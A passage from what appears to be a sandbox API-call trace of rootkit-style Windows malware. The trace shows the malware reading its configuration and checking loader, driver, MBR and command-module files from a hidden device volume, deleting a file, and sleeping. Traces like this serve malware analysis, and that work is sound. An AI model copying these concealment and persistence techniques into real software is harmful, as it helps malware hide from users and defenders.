returned 0xc000007e [0129.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] KeLeaveCriticalRegion () [0129.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.687] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.687] KeEnterCriticalRegion () [0129.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] ExFreePoolWithTag (P=0xfffffa8003c05220, Tag=0x0) [0129.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] KeLeaveCriticalRegion () [0129.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.687] ReleaseMutex (hMutex=0xf0) returned 1 [0129.687] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.687] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.687] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.687] KeEnterCriticalRegion () [0129.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.687] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.687] IdePortDispatch () returned 0x103 [0129.689] KeWaitForMutexObject () returned 0x0 [0129.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.689] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.689] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.689] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.689] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.689] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06f00 [0129.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.689] KeLeaveCriticalRegion () [0129.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.689] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.689] KeEnterCriticalRegion () [0129.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.689] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.689] KeLeaveCriticalRegion () [0129.689] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.689] KeEnterCriticalRegion () [0129.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.690] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.690] IdePortDispatch () returned 0x103 [0129.690] KeWaitForMutexObject () returned 0x0 [0129.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.690] KeLeaveCriticalRegion () [0129.690] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.690] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.690] KeEnterCriticalRegion () [0129.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c37000 [0129.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.690] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.690] IdePortDispatch () returned 0x103 [0129.690] KeWaitForMutexObject () returned 0x0 [0129.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.690] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.691] IdePortDispatch () returned 0x103 [0129.691] KeWaitForMutexObject () returned 0x0 [0129.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.691] KeLeaveCriticalRegion () [0129.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.691] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.691] KeEnterCriticalRegion () [0129.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.691] KeLeaveCriticalRegion () [0129.691] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.691] KeEnterCriticalRegion () [0129.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.691] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.692] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.692] KeLeaveCriticalRegion () [0129.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.692] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.692] KeEnterCriticalRegion () [0129.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.692] ExFreePoolWithTag (P=0xfffffa8003c06f00, Tag=0x0) [0129.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.692] KeLeaveCriticalRegion () [0129.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.692] ReleaseMutex (hMutex=0xf0) returned 1 [0129.692] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.692] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.692] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.692] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.692] KeEnterCriticalRegion () [0129.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.692] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.692] IdePortDispatch () returned 0x103 [0129.692] KeWaitForMutexObject () returned 0x0 [0129.692] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.692] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.692] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.692] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.692] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.692] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.692] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.692] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.692] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.693] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.693] KeLeaveCriticalRegion () [0129.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.693] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.693] KeEnterCriticalRegion () [0129.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.693] IdePortDispatch () returned 0x103 [0129.693] KeWaitForMutexObject () returned 0x0 [0129.693] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.693] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.693] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.693] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.693] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.693] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.693] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.693] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.693] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.693] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.693] KeLeaveCriticalRegion () [0129.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.694] ReleaseMutex (hMutex=0x100) returned 1 [0129.694] Sleep (dwMilliseconds=0x2bf20) [0129.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70807f90, dwHighDateTime=0x1d24fa4)) [0129.700] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.700] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.701] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.701] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.701] KeEnterCriticalRegion () [0129.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.701] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.701] IdePortDispatch () returned 0x103 [0129.701] KeWaitForMutexObject () returned 0x0 [0129.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.701] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.701] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.701] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.701] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.701] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06f00 [0129.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.701] KeLeaveCriticalRegion () [0129.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.701] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.701] KeEnterCriticalRegion () [0129.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.701] KeLeaveCriticalRegion () [0129.701] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.701] KeEnterCriticalRegion () [0129.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.701] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.702] IdePortDispatch () returned 0x103 [0129.702] KeWaitForMutexObject () returned 0x0 [0129.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.702] KeLeaveCriticalRegion () [0129.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.702] KeEnterCriticalRegion () [0129.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.702] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3a000 [0129.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.702] IdePortDispatch () returned 0x103 [0129.702] KeWaitForMutexObject () returned 0x0 [0129.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.702] IdePortDispatch () returned 0x103 [0129.702] KeWaitForMutexObject () returned 0x0 [0129.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.703] KeLeaveCriticalRegion () [0129.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.703] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.703] KeEnterCriticalRegion () [0129.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.703] KeLeaveCriticalRegion () [0129.703] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.703] KeEnterCriticalRegion () [0129.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.703] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.703] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.703] KeLeaveCriticalRegion () [0129.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.703] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.704] KeEnterCriticalRegion () [0129.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.704] ExFreePoolWithTag (P=0xfffffa8003c06f00, Tag=0x0) [0129.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.704] KeLeaveCriticalRegion () [0129.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.704] ReleaseMutex (hMutex=0xf0) returned 1 [0129.704] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.704] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.704] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.704] KeEnterCriticalRegion () [0129.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.704] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.704] IdePortDispatch () returned 0x103 [0129.704] KeWaitForMutexObject () returned 0x0 [0129.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.704] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.704] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.704] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.704] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.704] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06850 [0129.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.704] KeLeaveCriticalRegion () [0129.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.704] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.704] KeEnterCriticalRegion () [0129.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.704] KeLeaveCriticalRegion () [0129.705] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.705] KeEnterCriticalRegion () [0129.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.705] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.705] IdePortDispatch () returned 0x103 [0129.705] KeWaitForMutexObject () returned 0x0 [0129.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.706] KeLeaveCriticalRegion () [0129.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.706] _snprintf (in: 